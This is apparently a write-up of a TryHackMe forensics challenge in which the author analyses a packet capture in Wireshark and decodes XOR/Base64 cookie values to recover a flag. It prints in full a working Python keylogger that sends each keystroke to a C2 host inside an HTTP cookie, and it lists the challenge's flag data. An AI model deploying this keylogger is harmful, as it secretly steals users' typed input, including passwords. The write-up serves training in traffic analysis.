Packed Light

Room Link: Packed Light

Overview

Plattform:
TryHackMe
Room:
Packed Light
Category:
Forensics
Difficulty:
Easy

Introduction

Packed Light is a forensics challenge from TryHackMe's Hacker Holidays 2026: The Byte Lotus Hotel, a beginner-friendly series. This room is a network forensics challenge in which the goal is to analyze a short packet capture and identify suspicious communication hidden inside otherwise ordinary network traffic. The investigation begins with reports of a device repeatedly connecting to an unusual service on port 8080.

This room provides the file required for the analysis ("traffic.pcapng"):
Download button for the task file

My Approach

I will work with the Wireshark tool: https://en.wikipedia.org/wiki/Wireshark

Opening the “traffic.pcapng” task file in Wireshark:
opening the task file in the wireshark tool

First, we need to filter for the relevant packets. Since the suspicious service is running on port 8080, I started by checking the TCP traffic on that port using the following Wireshark display filter: tcp.port == 8080

Filter TCP Port 8080:
filtering packets in wireshark for tcp port 8080 only

As we can see, the source IP address 192.168.1.141 successfully connected to the web server at 34.41.103.191 and downloaded the /temp/updates.py> file.

Fortunately, the traffic is transmitted in plaintext. Let's inspect the contents of updates.py:

GET /temp/updates.py HTTP/1.1
Host: byte-lotus-hotel.thm:8080
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8
Sec-GPC: 1
Accept-Language: en-US,en;q=0.6
Accept-Encoding: gzip, deflate


HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/3.11.2
Date: Wed, 17 Jun 2026 05:38:38 GMT
Content-type: text/x-python
Content-Length: 1086
Last-Modified: Wed, 17 Jun 2026 05:30:02 GMT

import requests
import base64
from pynput import keyboard

C2_URL = "http://byte-lotus-hotel.thm:8080/"

def getkey():
    p1 = "H0t3lSt@ff0Nly"
    p2 = "K3epS3cr3t!"
    return p1 + p2

def xor(data: bytes, key: bytes) -> bytes:
    return bytes(b ^ key[i % len(key)] for i, b in enumerate(data))

def sendltr(character):
    raw_bytes = character.encode('utf-8')
    encrypted = xor(raw_bytes, getkey().encode('utf-8'))
    
    b64_string = base64.b64encode(encrypted).decode('utf-8')
    
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) ByteLotusClient/1.1",
        "Cookie": f"hotel_sess_state={b64_string}"
    }    
    try:
        requests.get(C2_URL, headers=headers, timeout=0.5)
    except:
        pass

def on_press(key):
    try:
        sendltr(key.char)
    except AttributeError:
        if key == keyboard.Key.space:
            sendltr(" ")
        elif key == keyboard.Key.enter:
            sendltr("\n")

print("[*] Byte Lotus Sync Service started...")
with keyboard.Listener(on_press=on_press) as listener:
    listener.join()

The downloaded python script acts as a simple keylogger. It captures individual keystrokes, using XOR encryption, encodes the result with Base64 and sends the data to the server inside an HTTP cookie.

Let's filter the packets to show only HTTP traffic:

Wireshark filter for TCP port 8080 traffic

We can see that after downloading updates.py, the suspicious client at 192.168.1.141 sent numerous GET / requests within a short period of time.

Let's inspect the HTML response:

GET / HTTP/1.1
Host: byte-lotus-hotel.thm:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) ByteLotusClient/1.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Cookie: hotel_sess_state=HA==


HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/3.11.2
Date: Wed, 17 Jun 2026 05:38:51 GMT
Content-type: text/html
Content-Length: 5134
Last-Modified: Wed, 17 Jun 2026 04:46:28 GMT

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8" />
  <meta name="viewport" content="width=device-width, initial-scale=1.0" />
  <title>Byte Lotus Holiday Resort</title>

  <style>
    body {
      margin: 0;
      font-family: Arial, sans-serif;
      background: #f5efe6;
      color: #2d2d2d;
    }

    header {
      background: linear-gradient(135deg, #0f5c4c, #2aa198, #f4c95d);
      color: white;
      text-align: center;
      padding: 120px 20px;
    }

    header h1 {
      font-size: 3rem;
      margin: 0;
    }

    header p {
      font-size: 1.2rem;
      margin-top: 15px;
    }

    nav {
      background: #163832;
      padding: 15px;
      text-align: center;
    }

    nav a {
      color: white;
      text-decoration: none;
      margin: 0 15px;
      font-weight: bold;
    }

    section {
      max-width: 1000px;
      margin: 40px auto;
      padding: 0 20px;
    }

    .cards {
      display: grid;
      grid-template-columns: repeat(auto-fit, minmax(220px, 1fr));
      gap: 20px;
    }

    .card {
      background: white;
      border-radius: 10px;
      padding: 20px;
      box-shadow: 0 3px 10px rgba(0,0,0,0.1);
    }

    .card h3 {
      color: #0f5c4c;
      margin-top: 0;
    }

    .booking {
      background: #fff;
      padding: 25px;
      border-radius: 10px;
      box-shadow: 0 3px 10px rgba(0,0,0,0.1);
    }

    input, select, button {
      width: 100%;
      padding: 12px;
      margin-top: 10px;
      margin-bottom: 15px;
      border: 1px solid #ccc;
      border-radius: 6px;
      font-size: 1rem;
    }

    button {
      background: #0f5c4c;
      color: white;
      border: none;
      cursor: pointer;
      font-weight: bold;
    }

    button:hover {
      background: #0a4438;
    }

    footer {
      background: #163832;
      color: white;
      text-align: center;
      padding: 25px;
      margin-top: 40px;
    }

    .notice {
      background: #fff3cd;
      border-left: 5px solid #e0a800;
      padding: 15px;
      border-radius: 6px;
      margin-top: 25px;
    }
  </style>
</head>

<body>
  <nav>
    <a href="#about">About</a>
    <a href="#rooms">Rooms</a>
    <a href="#amenities">Amenities</a>
    <a href="#booking">Booking</a>
  </nav>

  <header>
    <h1>Byte Lotus Holiday Resort</h1>
    <p>Luxury stays, ocean views, and suspiciously perfect guest Wi-Fi.</p>
  </header>

  <section id="about">
    <h2>Welcome to Byte Lotus</h2>
    <p>
      Hidden along the coast, Byte Lotus Holiday Resort is your destination for
      peaceful mornings, private beach access, tropical dining, and premium
      digital guest services.
    </p>

    <div class="notice">
      Guest Notice: Our concierge app may occasionally check for updates to improve
      your stay experience.
    </div>
  </section>

  <section id="rooms">
    <h2>Rooms & Suites</h2>

    <div class="cards">
      <div class="card">
        <h3>Garden View Room</h3>
        <p>Cozy, peaceful, and surrounded by tropical greenery.</p>
      </div>

      <div class="card">
        <h3>Ocean Suite</h3>
        <p>Wake up to waves, fresh air, and full panoramic beach views.</p>
      </div>

      <div class="card">
        <h3>Executive Villa</h3>
        <p>Private pool, premium dining, and dedicated concierge support.</p>
      </div>
    </div>
  </section>

  <section id="amenities">
    <h2>Resort Amenities</h2>

    <div class="cards">
      <div class="card">
        <h3>Spa & Wellness</h3>
        <p>Relax with massages, saunas, and guided wellness sessions.</p>
      </div>

      <div class="card">
        <h3>Beach Club</h3>
        <p>Reserved loungers, sunset cocktails, and private cabanas.</p>
      </div>

      <div class="card">
        <h3>Guest Wi-Fi</h3>
        <p>High-speed access available throughout the resort.</p>
      </div>
    </div>
  </section>

  <section id="booking">
    <h2>Book Your Stay</h2>

    <div class="booking">
      <form>
        <label for="name">Guest Name</label>
        <input type="text" id="name" placeholder="Enter your name" />

        <label for="room">Room Type</label>
        <select id="room">
          <option>Garden View Room</option>
          <option>Ocean Suite</option>
          <option>Executive Villa</option>
        </select>

        <label for="checkin">Check-in Date</label>
        <input type="date" id="checkin" />

        <label for="checkout">Check-out Date</label>
        <input type="date" id="checkout" />

        <button type="button" onclick="showBooking()">Check Availability</button>
      </form>

      <p id="booking-result"></p>
    </div>
  </section>

  <footer>
    <p>&copy; 2026 Byte Lotus Holiday Resort. All guest services monitored for quality assurance.</p>
  </footer>

  <script>
    function showBooking() {
      const name = document.getElementById("name").value || "Guest";
      const room = document.getElementById("room").value;

      document.getElementById("booking-result").innerText =
        `Thank you, ${name}. Availability for ${room} is being checked by our concierge system.`;
    }
  </script>
</body>
</html>

The HTML file itself does not appear suspicious. However, the cookie included in the client's request stands out as unusual: Cookie: hotel_sess_state=HA==

The sendltr()-function in updates.py stores each encoded keystroke in the "Cookie": f"hotel_sess_state={b64_string}" cookie before sending the HTTP request.

From the first GET / request, we obtain the cookie value hotel_sess_state=HA==, so we can try to decrypt the HA== part. From updates.py, we know that the script first encrypt the plaintext using XOR and then encodes the result with Base64. Therefore the decryption process must be performed in reverse order: Base64 -> XOR -> plaintext.

The updates.py script processes and sends each captured keystroke individually. Although the full XOR key is: H0t3lSt@ff0NlyK3epS3cr3t!, the XOR operation starts from the beginning of the key every time the sendltr()-function is called. Since each request contains only one encrypted character, only the first character of the key is used: H.

We need the letter H for the XOR operation as UTF-8, because the XOR function uses this line: b ^ key[i % len(key)]. The variable i is the position of the current byte inside data. However, sendltr() is called once for every individual keystroke: sendltr(key.char). Inside sendltr(), the single character is converted to bytes: raw_bytes = character.encode('utf-8'). Therefore, enumerate(data) only produces one iteration: i = 0. The key position is then calculated as: 0 % len(key) = 0. So the script always uses key[0], which is the first byte of the key: H. After the request is sent, sendltr() ends. When the next key is pressed, sendltr() is called again, enumerate(data) starts again at i = 0, and the XOR key also starts again at H.

To perform the decryption, I will use CyberChef: https://gchq.github.io/CyberChef/

As a result, we get the following output:
After Base64-decoding HA== and decrypting the resulting byte with XOR, we recover the plaintext letter T.

After Base64 decoding HA== and applying XOR decryption to the resulting byte, we recover the plaintext letter T.

Now we need to examine all the remaining Get / requests and decrypt each value that appears after hotel_sess_state=....

The values are:

  • HA==
  • AA==
  • BQ==
  • Mw==
  • Hg==
  • ew==
  • Og==
  • fA==
  • Fw==
  • eQ==
  • Ow==
  • Fw==
  • Pw==
  • fA==
  • PA==
  • Kw==
  • IA==
  • eQ==
  • Jg==
  • Lw==
  • Fw==
  • eA==
  • Pg==
  • LQ==
  • Gg==
  • Fw==
  • MQ==
  • eA==
  • PQ==
  • NQ==
HA==,AA==,BQ==,Mw==,Hg==,ew==,Og==,fA==,Fw==,eQ==,Ow==,Fw==,Pw==,fA==,PA==,Kw==,IA==,eQ==,Jg==,Lw==,Fw==,eA==,Pg==,LQ==,Gg==,Fw==,MQ==,eA==,PQ==,NQ==

Now we can copy and paste the extracted values into CyberChef to decrypt them and recover the flag.

Decrypting the captured values and revealing the flag

Conclusion

The Packed Light room was a practical network forensics challenge that demonstrated how suspicious activity can be identified by analyzing captured network traffic. By filtering the packets in Wireshark, I discovered that the client downloaded a python script from a server running on port 8080. Further analysis showed that the script acted as a keylogger and transmitted captured keystrokes inside the hotel_sess_state cookie. Because the traffic was not encrypted, the cookie values could be extracted from the HTTP requests. By reversing the encoding process through Base64 decoding followed by XOR decryption, the captured input could be reconstructed and the flag recovered.

The challenge was a good introduction to packet analysis, HTTP traffic inspection and identifying data exfiltration hidden inside otherwise normal looking requests.